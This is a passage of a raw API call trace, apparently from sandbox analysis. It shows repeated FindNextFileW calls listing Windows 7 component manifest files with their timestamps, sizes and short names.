ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x121c21b4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x60ae6acb, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lcphrase_31bf3856ad364e35_6.1.7600.16385_none_e161f798ac5c9477.manifest", cAlternateFileName="AM218C~1.MAN")) returned 1 [0187.012] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a63688, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf1a63688, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x89b, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-ldap-client.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3760db0440b81fb3.manifest", cAlternateFileName="AM46AE~1.MAN")) returned 1 [0187.012] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4771fd49, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x4771fd49, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x47745ea9, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-ldap-client_31bf3856ad364e35_6.1.7601.17514_none_51624d066d0b3e1c.manifest", cAlternateFileName="AM6322~1.MAN")) returned 1 [0187.012] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf19caba4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf19caba4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x95d, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lddmcore.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f6fa3ea22fbb772e.manifest", cAlternateFileName="AM4471~1.MAN")) returned 1 [0187.012] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746257d5, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x746257d5, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x74671a95, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x338d, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lddmcore_31bf3856ad364e35_6.1.7601.17514_none_09ee9e0dfa2c4fbd.manifest", cAlternateFileName="AM0D87~1.MAN")) returned 1 [0187.013] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636f9b68, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x7df9b61e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x6371fcc5, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xadd, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-leakdiagnostic-adm_31bf3856ad364e35_6.1.7600.16385_none_8bb4664fd3820c5c.manifest", cAlternateFileName="AMFE69~1.MAN")) returned 1 [0187.013] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f6966d, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf2f6966d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-legacyhwui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ad0a17d9536dd7dc.manifest", cAlternateFileName="AM4CD1~1.MAN")) returned 1 [0187.013] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ba7789d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc750f80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x89d81e0a, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xfc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-legacyhwui_31bf3856ad364e35_6.1.7600.16385_none_3e69140a61f1eff5.manifest", cAlternateFileName="AM996C~1.MAN")) returned 1 [0187.013] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87956db4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x87956db4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x60ba519c, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-legacysetupsupport_31bf3856ad364e35_6.1.7600.16385_none_9f5409c57fb6efc0.manifest", cAlternateFileName="AM231A~1.MAN")) returned 1 [0187.014] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa341d09a, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xa341d09a, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xa34431fa, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1152, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-legacysupport_31bf3856ad364e35_6.1.7601.17514_none_c84ccd0435c87645.manifest", cAlternateFileName="AM572F~1.MAN")) returned 1 [0187.014] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9478d445, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19b573f4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x579b383b, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-eval-homebasic_31bf3856ad364e35_6.1.7600.16385_none_5a83d5f453283bb3.manifest", cAlternateFileName="AMC1B0~1.MAN")) returned 1 [0187.014] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc99ec4c9, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19bc9ad8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x57d1f796, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x420, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-eval-startere_31bf3856ad364e35_6.1.7600.16385_none_02ef1ba1caea61ec.manifest", cAlternateFileName="AMCABA~1.MAN")) returned 1 [0187.014] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3ad9af, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19bc9ad8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x57d1f796, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x420, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-eval-startern_31bf3856ad364e35_6.1.7600.16385_none_02f81e3bcae245fb.manifest", cAlternateFileName="AM70BA~1.MAN")) returned 1 [0187.015] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc29eff51, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b311a8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x57cf9639, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-eval-starter_31bf3856ad364e35_6.1.7600.16385_none_cfcdac2e2c226791.manifest", cAlternateFileName="AM8515~1.MAN")) returned 1 [0187.015] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x617856d, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19bc9ad8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x57d458f3, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-eval-ultimatee_31bf3856ad364e35_6.1.7600.16385_none_e0b4e7cbdc0cc92e.manifest", cAlternateFileName="AMF024~1.MAN")) returned 1 [0187.015] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57cdd1f1, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19bc9ad8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x57d6ba50, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-eval-ultimaten_31bf3856ad364e35_6.1.7600.16385_none_e0b41ac3dc0dafd7.manifest", cAlternateFileName="AMA0F0~1.MAN")) returned 1 [0187.015] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b135c9, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19ba388c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x57d458f3, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-eval-ultimate_31bf3856ad364e35_6.1.7600.16385_none_14a2d212c1a10ded.manifest", cAlternateFileName="AMF9C9~1.MAN")) returned 1 [0187.015] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304f14dd, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19b7d640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e29e38d, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-oem-enterprise_31bf3856ad364e35_6.1.7600.16385_none_e2e08abc9bcbdef2.manifest", cAlternateFileName="AMFF93~2.MAN")) returned 1 [0187.016] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74ab3bb5, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19ba388c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e2ea647, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-oem-homebasice_31bf3856ad364e35_6.1.7600.16385_none_1eec63cec641123f.manifest", cAlternateFileName="AM2068~1.MAN")) returned 1 [0187.016] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94aad0e6, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19bc9ad8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e2ea647, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-oem-homebasicn_31bf3856ad364e35_6.1.7600.16385_none_1eeb96c6c641f8e8.manifest", cAlternateFileName="AME0D3~1.MAN")) returned 1 [0187.016] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d3ea765, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19ba388c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e2c44ea, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-oem-homebasic_31bf3856ad364e35_6.1.7600.16385_none_4c8b79c7b2ee07d0.manifest", cAlternateFileName="AM1E7A~1.MAN")) returned 1 [0187.016] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb845b1fc, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b0af5c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e60a2e8, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-oem-startere_31bf3856ad364e35_6.1.7600.16385_none_e7cf08f318d7d981.manifest", cAlternateFileName="AM7E62~1.MAN")) returned 1 [0187.017] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80a2fe7, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b0af5c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e630445, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-oem-startern_31bf3856ad364e35_6.1.7600.16385_none_e76db9a71920d4fa.manifest", cAlternateFileName="AM6A08~2.MAN")) returned 1 [0187.017] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7ecf2a, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19bc9ad8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e60a2e8, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-oem-starter_31bf3856ad364e35_6.1.7600.16385_none_404f5c81d675a27e.manifest", cAlternateFileName="AMEC7B~1.MAN")) returned 1 [0187.017] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdfa616c, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19abeac4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e6565a2, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-oem-ultimatee_31bf3856ad364e35_6.1.7600.16385_none_6639483600a10d9d.manifest", cAlternateFileName="AM0C86~1.MAN")) returned 1 [0187.017] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59ad261a, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19abeac4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e6565a2, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-oem-ultimaten_31bf3856ad364e35_6.1.7600.16385_none_66424ad00098f1ac.manifest", cAlternateFileName="AM662F~1.MAN")) returned 1 [0187.018] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5918f7a, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b573f4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e630445, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-license-oem-ultimate_31bf3856ad364e35_6.1.7600.16385_none_22a7fea770a416f8.manifest", cAlternateFileName="AME6DB~1.MAN")) returned 1 [0187.018] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61a3eb9, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0xf61a3eb9, ftLastAccessTime.dwHighDateTime=0x1ca0428, ftLastWriteTime.dwLowDateTime=0x60bcb2f9, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-licensing-client-pro_31bf3856ad364e35_6.1.7600.16385_none_96de47ee15a0b8d9.manifest", cAlternateFileName="AM8A93~1.MAN")) returned 1 [0187.018] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ff32e73, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7ff32e73, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x4df04b80, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x958, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-linkinfo_31bf3856ad364e35_6.1.7600.16385_none_945a23c3bf051859.manifest", cAlternateFileName="AM7A72~1.MAN")) returned 1 [0187.018] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe8247aa, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0xbe8247aa, ftLastAccessTime.dwHighDateTime=0x1ca0428, ftLastWriteTime.dwLowDateTime=0xbe8e2e7b, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x2671, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-live-services_31bf3856ad364e35_6.1.7600.16385_none_31a075c6a5802364.manifest", cAlternateFileName="AM4016~1.MAN")) returned 1 [0187.019] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d446f0, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf131511f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf0d446f0, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x872, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lmhsvc.resources_31bf3856ad364e35_6.1.7600.16385_en-us_40a9535a2552fbe7.manifest", cAlternateFileName="AM0B1E~1.MAN")) returned 1 [0187.082] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f38bc6, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x74f38bc6, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x74f5ed26, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lmhsvc_31bf3856ad364e35_6.1.7601.17514_none_b0e6edd606f5c524.manifest", cAlternateFileName="AM1B64~1.MAN")) returned 1 [0187.083] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad39f48, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7ad39f48, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x60b58ee2, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x63cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-loadperf-events_31bf3856ad364e35_6.1.7600.16385_none_85b2c7909c042202.manifest", cAlternateFileName="AM873F~1.MAN")) returned 1 [0187.083] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b3f6e3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5b3f6e3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x55b, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-localizeddrivers_31bf3856ad364e35_6.1.7601.17514_en-us_dcf2e275db57da01.manifest", cAlternateFileName="AM1A23~2.MAN")) returned 1 [0187.083] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe9a3f06, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfe9a3f06, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x98d, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-logon-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_eea490acb362d776.manifest", cAlternateFileName="AMB90A~1.MAN")) returned 1 [0187.083] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e8984e4, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7ddf7b59, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x4e8be641, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xab9, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-logon-adm_31bf3856ad364e35_6.1.7600.16385_none_312dc81b78fe5f0b.manifest", cAlternateFileName="AME1F5~1.MAN")) returned 1 [0187.084] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c393e1, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf131511f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf0c393e1, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xb6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lpksetup.resources_31bf3856ad364e35_6.1.7600.16385_en-us_31e8e2f9095192cc.manifest", cAlternateFileName="AMCD95~1.MAN")) returned 1 [0187.084] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80efd987, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x80efd987, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x80f49c47, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x106ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lpksetup_31bf3856ad364e35_6.1.7601.17514_none_7f7f66788318015d.manifest", cAlternateFileName="AMEB24~1.MAN")) returned 1 [0187.084] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ebcf77, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x81ebcf77, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xbd8d1b3f, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x810, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-license_31bf3856ad364e35_6.1.7600.16385_none_fd5fdc812da09ddb.manifest", cAlternateFileName="AME791~1.MAN")) returned 1 [0187.084] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8344f524, ftCreationTime.dwHighDateTime=0x1ca042b, 